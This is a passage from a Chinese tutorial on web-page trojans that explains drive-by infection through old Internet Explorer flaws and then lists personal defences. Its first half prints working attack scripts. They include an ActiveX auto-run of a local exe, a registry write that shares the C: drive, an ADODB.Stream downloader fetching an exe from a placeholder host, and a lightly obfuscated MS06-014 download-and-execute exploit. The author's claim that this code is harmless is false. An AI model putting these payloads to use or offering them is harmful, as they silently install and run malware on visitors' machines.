二,网页木马的基本工作流程。
网页木马的基本工作流程,大致是,
1.受众打开含有网页木马代码的网页,
2.网页木马利用ie漏洞或者一些脚本功能下载一个可执行文件或脚本。(金州注释,很多时候根据需要附带同时纪录用户ip)
如以下代码
<script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"jinzhou.exe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>金州提示,网页加载中,请稍后....正在运行木马</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
保存为jinzhou.html然后在同目录下放一个exe文件,起名为jinzhou.exe.运行jinzhou.html,会出现金州提示,网页加载中,请稍后....正在运行木马,然后那个jinzhou.exe就会运行。(金州注释,本地和远程都会提示,一般稍有一点安全意识的都不会中,不过事实上这种方法现在仍然会使很多极其不小心的人上当。此流程比较经典。)
< script language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
调用本地控件写注册表的代码。此代码是共享c,当然你可以共享任何盘。
<script language="vbscript">
const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://www.xxx.com/jinzhou.EXE", false
xmlHTTP.send
contents = xmlHTTP.responseBody
Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open
oStr.Write(contents)
oStr.SaveToFile "c:\\jinzhou.exe", adSaveCreateOverwrite
</script>
上面以前的Adodb.Stream文件下载代码核心部分。
<script language="VBScript">
on error resume next
dl = "http://www.xxx.com/jinzhou.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
以上MS06014利用代码核心。
综合以上,大致可以看出,网页木马的基础就是非法让受众在不知觉得情况下改变用户配置或下载运行非法程序以非法谋取自己的非法利益。不在一一举例。在网页木马的历史上影响重大的还有MHT漏洞即Windows在处理畸形MHTML,能执行任意远程脚本代码。(金州注释,国内一般称为chm木马。冰狐浪子对此有很详细的文章。)木马有2个组成部分,一个是利用MHT漏洞的恶意网页代码,另一个是包含恶意程序的CHM文件。把它们都放到网站上,用户访问恶意网页时,会在没有任何安全提示的情况下,自动下载远程CHM文件中的程序并运行。HHCTRL漏洞,HTML帮助ActiveX控件存在问题,利用它可以进行跨安全区域脚本执行,从而可以下载并自动执行远程恶意程序。HTA漏洞,IE浏览器允许HTA类型的代码以全部权限运行。远程HTA代码可以调用Wscript.Shell等控件执行用户本地的任意程序,iframe溢出等等。网上相关资料较多。不再赘述。总体来说,网页木马的制作并不复杂,它的重点往往会在加密和辅助的隐藏上。
三,网页木马的基本防范
网页木马的基本防范大概如下几点,(金州注释,针对个人的,网页木马绝大多数受众都是个人。)
1.,卸载或者改名whs脚本宿主。删除注册表{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
{0D43FE01-F093-11CF-8940-00A0C9054228},运行regsvr32 scrrun.dll /u 卸载控件等。
2.在我的电脑,属性,高级,环境变量中,PATHEXT删除一些危险的变量,如vbs,vbe,js等。或在文件夹选项,文件类型中更改vbs,Windows Script Host等的关联。
3.禁用ftp,tftp,或改变端口。等防止网页木马的利用途径。找到C:\windows\system32\drivers\Etc 记事本打开其中的services文件会看到一些对应的端口,改一下保存就行了。改名debug等。
4.最好安装杀毒软件。打开实时监控,一般网页木马杀毒还是会报警的。
5.提高警惕性,一旦发现ie运行不正常,比如卡或者无故死掉,或者一场闪出,养成立刻检查系统的习惯。
6.多注意查看网页源代码,无论多么高明的网页木马,在源代码中也可以看出端倪。
7.注意更新系统补丁。
(金州注释,以上为个人见解,技术日新月异,不一定有效全面,个人愚笨,在学习中,不足之处见谅。另,文中一些代码可能会被杀毒报警,无害。)
四,参考文献
邪恶八进制信息安全团队技术论坛(http://forum.eviloctal.com/)
lcx海阳顶端资料(http://haiyang.net/safety/defaultx.asp)
上一页 [1] [2]